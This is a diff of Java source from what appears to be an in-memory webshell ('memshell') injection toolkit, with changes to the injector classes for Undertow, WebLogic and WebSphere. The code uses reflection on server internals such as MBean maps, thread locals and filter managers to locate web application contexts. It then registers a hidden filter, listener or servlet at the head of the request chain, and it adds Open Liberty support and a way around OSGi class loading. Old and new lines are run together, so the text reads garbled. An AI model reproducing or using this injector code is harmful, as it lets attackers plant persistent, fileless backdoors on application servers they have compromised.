msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -213,30 +210,25 @@ public class UndertowServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -1,13 +1,17 @@
package com.reajason.javaweb.memshell.injector.weblogic; package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.management.ManagementFactory;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -40,7 +44,7 @@ public class WebLogicFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -75,93 +79,38 @@ public class WebLogicFilterInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public static Object[] getContextsByMbean() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
}
}
return webappContexts.toArray();
}
/** /**
* weblogic.servlet.internal.WebAppServletContext * weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar * /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar * /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/ */
public static Set<Object> getContext() { public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>(); Set<Object> webappContexts = new HashSet<Object>();
try { MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
webappContexts.addAll(Arrays.asList(getContextsByMbean())); Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
} catch (Throwable ignored) { for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
} }
try { try {
webappContexts.addAll(Arrays.asList(getContextsByThreads())); Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
return webappContexts; return webappContexts;
@@ -193,20 +142,14 @@ public class WebLogicFilterInjector {
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
for (Object obj : filters.keySet()) {
if (obj.toString().contains(getClassName())) {
return;
}
}
Object filterManager = invokeMethod(context, "getFilterManager", null, null); Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null); if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses"); return;
cachedClasses.put(getClassName(), filter.getClass()); }
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}}); invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList"); List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, currentMapping); filterPatternList.add(0, curFilterInfo);
} }
@Override @Override
@@ -248,30 +191,25 @@ public class WebLogicFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -1,15 +1,16 @@
package com.reajason.javaweb.memshell.injector.weblogic; package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.management.ManagementFactory;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet; import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Map;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -40,7 +41,7 @@ public class WebLogicListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -75,88 +76,39 @@ public class WebLogicListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
static Object[] getContextsByMbean() throws Throwable {
/**
* weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>(); Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
Method theOneMethod = serverRuntimeClass.getMethod("theOne"); for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
theOneMethod.setAccessible(true); String key = entry.getKey();
Object serverRuntime = theOneMethod.invoke(null); if (key.contains("Type=WebAppComponentRuntime")) {
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); Object value = entry.getValue();
getApplicationRuntimesMethod.setAccessible(true); Object managedResource = getFieldValue(value, "managedResource");
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
int applicationRuntimeSize = Array.getLength(applicationRuntimes); webappContexts.add(getFieldValue(managedResource, "context"));
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
} }
} }
} }
return webappContexts.toArray();
}
public static Set<Object> getContext() {
Set<Object> webappContexts = new HashSet<Object>();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable ignored) {
}
try { try {
webappContexts.addAll(Arrays.asList(getContextsByThreads())); Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
return webappContexts; return webappContexts;
@@ -1,15 +1,15 @@
package com.reajason.javaweb.memshell.injector.weblogic; package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import javax.servlet.Servlet; import javax.servlet.Servlet;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array; import java.lang.management.ManagementFactory;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet; import java.util.HashSet;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
@@ -45,7 +45,7 @@ public class WebLogicServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -80,88 +80,39 @@ public class WebLogicServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public static Object[] getContextsByMbean() throws Throwable {
/**
* weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>(); Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
Method theOneMethod = serverRuntimeClass.getMethod("theOne"); for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
theOneMethod.setAccessible(true); String key = entry.getKey();
Object serverRuntime = theOneMethod.invoke(null); if (key.contains("Type=WebAppComponentRuntime")) {
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); Object value = entry.getValue();
getApplicationRuntimesMethod.setAccessible(true); Object managedResource = getFieldValue(value, "managedResource");
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
int applicationRuntimeSize = Array.getLength(applicationRuntimes); webappContexts.add(getFieldValue(managedResource, "context"));
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
} }
} }
} }
return webappContexts.toArray();
}
public static Set<Object> getContext() {
Set<Object> webappContexts = new HashSet<Object>();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable ignored) {
}
try { try {
webappContexts.addAll(Arrays.asList(getContextsByThreads())); Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
return webappContexts; return webappContexts;
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.websphere; package com.reajason.javaweb.memshell.injector.websphere;
import javax.servlet.Filter;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
@@ -9,14 +8,12 @@ import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
* tested v7v8
* update 2023/07/08
*
* @author ReaJason * @author ReaJason
*/ */
public class WebSphereFilterInjector { public class WebSphereFilterInjector {
@@ -46,7 +43,7 @@ public class WebSphereFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -87,11 +84,32 @@ public class WebSphereFilterInjector {
*/ */
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); Object[] threadLocals = null;
for (Object wsThreadLocal : wsThreadLocals) { boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x // for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
@@ -99,8 +117,9 @@ public class WebSphereFilterInjector {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
} }
} }
return contexts; return contexts;
@@ -132,43 +151,42 @@ public class WebSphereFilterInjector {
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
Object webAppConfiguration = getFieldValue(context, "config"); Object webAppConfig = getFieldValue(context, "config");
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return; return;
} }
ClassLoader classLoader = context.getClass().getClassLoader(); Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
Object filterManager = getFieldValue(context, "filterManager"); Object filterManager = getFieldValue(context, "filterManager");
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
setFieldValue(filterConfig, "name", getClassName());
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
try { try {
// v8 List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass); uriFilterMappingInfos.remove(filterMapping);
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter uriFilterMappingInfos.add(0, filterMapping);
setFieldValue(context, "initialized", false);
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
setFieldValue(context, "initialized", true);
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
} catch (Exception e) { } catch (Exception e) {
// v7 // WebSphere7
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()}); List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
setFieldValue(filterConfig, "dispatchMode", new int[]{0}); uriFilterMappings.add(0, fmInfo);
setFieldValue(filterConfig, "name", getClassName());
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
} }
// 清除缓存 // 清除缓存
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null); Object chainCache = getFieldValue(filterManager, "chainCache");
try {
invokeMethod(chainCache, "clear", null, null);
} catch (Exception e) {
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
}
} }
@Override @Override
@@ -176,6 +194,19 @@ public class WebSphereFilterInjector {
return msg; return msg;
} }
// bypass osgi
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
if (context.equals(Object.class)) {
throw new ClassNotFoundException(className);
}
ClassLoader loader = context.getClassLoader();
try {
return loader.loadClass(className);
} catch (ClassNotFoundException e) {
return loadClass(context.getSuperclass(), className);
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception { Exception {
@@ -255,13 +286,9 @@ public class WebSphereFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try { Field field = getField(obj, name);
Field field = getField(obj, name); field.setAccessible(true);
field.setAccessible(true); return field.get(obj);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet; import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -38,7 +37,7 @@ public class WebSphereListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -75,11 +74,32 @@ public class WebSphereListenerInjector {
public Set<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); Object[] threadLocals = null;
for (Object wsThreadLocal : wsThreadLocals) { boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x // for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) { for (Object stack : stackList) {
try { try {
Object config = getFieldValue(stack, "config"); Object config = getFieldValue(stack, "config");
@@ -87,8 +107,9 @@ public class WebSphereListenerInjector {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
